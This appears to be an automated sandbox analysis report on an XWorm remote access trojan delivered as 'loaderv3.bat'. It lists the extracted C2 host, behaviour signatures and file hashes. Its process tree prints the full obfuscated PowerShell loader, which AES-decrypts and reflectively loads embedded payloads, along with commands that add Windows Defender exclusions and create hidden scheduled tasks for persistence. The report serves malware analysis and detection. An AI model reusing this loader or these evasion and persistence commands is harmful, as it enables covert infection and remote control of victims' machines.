Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 23:46

General

  • Target
    loaderv3.bat
  • Size 300KB
  • Sample240603-3smmjsed76
  • SHA256 5ec787845e4c8569e81a28a415e6f0ff5b3ed9012f0cb30d1558adad98cd8680
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • 127.0.0.1:7489

  • continue-silk.gl.at.ply.gg:7489

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    steamwebhelper.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\loaderv3.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xLde0JRLrIczMl9RxXziwroTVxq5HOanuhcsMouO6So='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8g2uqMTqX55+f+XUZTpqzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QupMx=New-Object System.IO.MemoryStream(,$param_var); $tyPSR=New-Object System.IO.MemoryStream; $UJjgx=New-Object System.IO.Compression.GZipStream($QupMx, [IO.Compression.CompressionMode]::Decompress); $UJjgx.CopyTo($tyPSR); $UJjgx.Dispose(); $QupMx.Dispose(); $tyPSR.Dispose(); $tyPSR.ToArray();}function execute_function($param_var,$param2_var){ $xhjgK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ilqWR=$xhjgK.EntryPoint; $ilqWR.Invoke($null, $param2_var);}$XSpOb = 'C:\Users\Admin\AppData\Local\Temp\loaderv3.bat';$host.UI.RawUI.WindowTitle = $XSpOb;$TBRhO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XSpOb).Split([Environment]::NewLine);foreach ($EpZJp in $TBRhO) { if ($EpZJp.StartsWith(':: ')) { $nDory=$EpZJp.Substring(3); break; }}$payloads_var=[string[]]$nDory.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_444_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_444.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1540
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_444.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4984
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_444.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4052
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xLde0JRLrIczMl9RxXziwroTVxq5HOanuhcsMouO6So='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8g2uqMTqX55+f+XUZTpqzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QupMx=New-Object System.IO.MemoryStream(,$param_var); $tyPSR=New-Object System.IO.MemoryStream; $UJjgx=New-Object System.IO.Compression.GZipStream($QupMx, [IO.Compression.CompressionMode]::Decompress); $UJjgx.CopyTo($tyPSR); $UJjgx.Dispose(); $QupMx.Dispose(); $tyPSR.Dispose(); $tyPSR.ToArray();}function execute_function($param_var,$param2_var){ $xhjgK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ilqWR=$xhjgK.EntryPoint; $ilqWR.Invoke($null, $param2_var);}$XSpOb = 'C:\Users\Admin\AppData\Roaming\startup_str_444.bat';$host.UI.RawUI.WindowTitle = $XSpOb;$TBRhO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XSpOb).Split([Environment]::NewLine);foreach ($EpZJp in $TBRhO) { if ($EpZJp.StartsWith(':: ')) { $nDory=$EpZJp.Substring(3); break; }}$payloads_var=[string[]]$nDory.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2088
            • C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe
              "C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe"
              6⤵
              • Executes dropped EXE
              PID:1168
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:712
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:836
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\steamwebhelper.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3208
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'steamwebhelper.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3308
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "steamwebhelper" /tr "C:\ProgramData\steamwebhelper.exe"
              6⤵
              • Creates scheduled task(s)
              PID:3468
  • C:\ProgramData\steamwebhelper.exe
    C:\ProgramData\steamwebhelper.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:3952

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        steamwebhelper.exe

        • Path C:\ProgramData\steamwebhelper.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 67fc3f5c3407858793c6fac6131b0f340667ffc567fa76b43245ecf2621322c9
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9e20052dd29dfcd8220dcf271acd3e27f9d6b785d72531043741ef349b48c7a8
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_pdhxiqhq.1bz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdhxiqhq.1bz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        seroxen.lib.exe

        • Path C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe
        • Size 10KB
        • SHA256 ab03b81ae4fa28295ed1a521f138d35de71fa9fc4f45360fa501e570feaa5665
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_444.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_444.bat
        • Size 300KB
        • SHA256 5ec787845e4c8569e81a28a415e6f0ff5b3ed9012f0cb30d1558adad98cd8680
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_444.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_444.vbs
        • Size 115B
        • SHA256 69637f9ea555d52de5be30f4fc7986ce6b81a891d69de91d53365d98ef3cfe0e
        • MD5 SHA1 SHA512

        memory/1168-62-0x0000000000040000-0x0000000000048000-memory.dmp

        memory/1540-16-0x00007FF8003F0000-0x00007FF800EB1000-memory.dmp

        memory/1540-30-0x00007FF8003F0000-0x00007FF800EB1000-memory.dmp

        memory/1540-27-0x00007FF8003F0000-0x00007FF800EB1000-memory.dmp

        memory/1540-26-0x00007FF8003F0000-0x00007FF800EB1000-memory.dmp

        memory/2088-51-0x0000021CE6630000-0x0000021CE6648000-memory.dmp

        memory/3952-122-0x00000212F5CA0000-0x00000212F5D16000-memory.dmp

        memory/3952-121-0x00000212F5880000-0x00000212F58C4000-memory.dmp

        memory/4264-14-0x000001BAC1910000-0x000001BAC194C000-memory.dmp

        memory/4264-63-0x00007FF8003F0000-0x00007FF800EB1000-memory.dmp

        memory/4264-0-0x00007FF8003F3000-0x00007FF8003F5000-memory.dmp

        memory/4264-13-0x000001BAA91B0000-0x000001BAA91B8000-memory.dmp

        memory/4264-12-0x00007FF8003F0000-0x00007FF800EB1000-memory.dmp

        memory/4264-11-0x00007FF8003F0000-0x00007FF800EB1000-memory.dmp

        memory/4264-1-0x000001BAA9600000-0x000001BAA9622000-memory.dmp